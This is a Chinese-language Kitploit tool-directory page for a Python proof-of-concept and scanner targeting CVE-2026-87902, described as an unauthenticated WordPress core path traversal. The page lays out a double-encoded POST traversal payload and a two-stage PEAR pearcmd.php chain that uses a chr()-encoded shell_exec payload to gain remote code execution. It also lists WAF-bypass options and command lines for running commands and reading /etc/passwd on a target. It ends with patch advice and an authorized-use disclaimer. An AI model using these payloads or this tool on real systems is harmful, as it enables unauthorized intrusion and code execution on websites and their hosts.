Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-87902 — 针对 CVE-2026-87902 的 Python PoC 与扫描器,该漏洞是 WordPress 核心路径遍历,可导致 LFI 及基于 PEAR 的 RCE,并具备 WAF 绕过与自动化利用能力。 | Kitploit
工具/GitHubGitHub/bhideki/cve-2026-87902
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用WAF绕过Web安全渗透测试远程访问工具Payload 开发
GitHubbhideki/cve-2026-87902

CVE-2026-87902

针对 CVE-2026-87902 的 Python PoC 与扫描器,该漏洞是 WordPress 核心路径遍历,可导致 LFI 及基于 PEAR 的 RCE,并具备 WAF 绕过与自动化利用能力。

11天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

CVE-2026-87902 — WordPress 核心路径遍历 / LFI / RCE

通过 WordPress 核心页面模板解析器中的双重编码路径遍历实现的未认证本地文件包含,配合基于 PEAR 的 RCE 利用链。

漏洞详情

字段值
CVECVE-2026-87902
CVSS9.2(严重)— CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWECWE-98 — 包含/请求文件名的控制不当
受影响版本WordPress 4.7.0 – 7.1.1
修复版本WordPress 7.1.2 + 向后移植至所有受支持分支
认证无(未认证)

根本原因

wp-includes/template.php 中的 get_page_template() 在清理已经执行之后,对 pagename 查询参数调用 urldecode()。双重编码的 ../ 序列(%252E%252E%252F)经过 PHP 第一次解码后变为 %2E%2E%2F,通过 sanitize_title_with_dashes()(该函数保留 %xx 序列)后仍然存在,随后被 WordPress 后期的 urldecode() 调用解码为 ../ —— 从而逃逸出主题目录。

需要 POST 方法是因为 redirect_canonical() 对非 GET/HEAD 请求会提前返回,从而阻止路径在到达易受攻击代码之前被规范化。

利用流程

root@kitploit:~
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex

1. PHP 解码 POST 正文:     templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP 清理后保留:     templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() 解析: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() 成功 → include() 执行该文件

影响

  • 本地文件包含 — 主题目录之外的任意 .php 文件被包含并执行
  • 远程代码执行 — 通过 PEAR pearcmd.php 利用链(需要安装 PEAR + register_argc_argv=On)

PEAR RCE 利用链

两个匿名 POST 请求即可实现 RCE:

阶段 1 — 通过路径遍历包含 pearcmd.php。查询字符串 /?+config-create+/<php-payload>+<output>.php 成为 PEAR 的 argv。config-create 命令将攻击者控制的数据(包括 PHP 标签)写入可写目录。

阶段 2 — 包含 PEAR 写入的文件。嵌入的 PHP 以 Web 服务器权限执行。

PHP 载荷使用 chr() 编码(<?=shell_exec(chr(105).chr(100))?>)以避免 wp_magic_quotes() 会转义的引号字符。

工具

cve-2026-87902.py — 自动化检查器 + LFI 扫描器 + PEAR RCE 利用工具。使用 http.client 实现字节精确的请求控制(无库重新编码)。

要求

Python 3.6+(仅标准库 — 无 pip 依赖)

用法

root@kitploit:~
# 仅检查漏洞
python3 cve-2026-87902.py https://target.com --check

# 带 WAF 绕过检查(multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart

# 指定页面 ID 和遍历深度
python3 cve-2026-87902.py https://target.com -p 42 --depth 7

# LFI 扫描(默认目标)
python3 cve-2026-87902.py https://target.com

# 使用自定义文件的 LFI 扫描
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable

# 通过 PEAR 链实现 RCE
python3 cve-2026-87902.py https://target.com --rce "id"

# 通过 RCE 读取文件
python3 cve-2026-87902.py https://target.com --read /etc/hostname

# 完整选项
python3 cve-2026-87902.py https://target.com --rce "whoami" \
    --pear /usr/local/lib/php/pearcmd \
    --output /tmp/wp-rce-payload \
    --multipart --timeout 30

功能说明

  1. 主题检测 — 从 HTML 中提取活动主题,探测 page-* 目录
  2. 页面发现 — 查询 REST API 获取使用默认模板的已发布页面
  3. 遍历测试 — 使用双重编码的 POST 载荷扫描多个深度(1-12)
  4. WAF 绕过 — --multipart 将载荷包装为 multipart/form-data 以规避 WAF 模式匹配
  5. LFI 扫描 — 包含已知 WordPress 文件并比较响应大小与基线
  6. RCE — 两阶段 PEAR 链,使用 chr() 编码的载荷

输出标记

标记含义
[HIT]文件成功被包含
[---]正常响应(文件未被包含)
[???]响应显著不同 — 值得调查
[WAF]被 WAF 拦截(403)
[ERR]连接失败

前提条件

  • 活动主题必须包含 page-* 目录(例如 page-templates/)
  • 至少有一个使用默认模板的已发布页面
  • WordPress 版本在受影响范围内(未修补)
  • 对于 RCE:PEAR pearcmd.php 可读 + register_argc_argv=On + /tmp 可写

修复

更新至 WordPress 7.1.2 或您所在分支的最新安全版本(已向后移植至 4.7)。

参考资料

  • Robert Ressl — CVE-2026-87902 分析文章
  • WordPress 安全公告 — GHSA-7hp8-65ch-5whp
  • Hadrian 漏洞警报

免责声明

本工具仅供授权安全测试和漏洞赏金研究使用。仅对您拥有明确测试许可的系统使用。未经授权访问计算机系统是违法的。

下载工具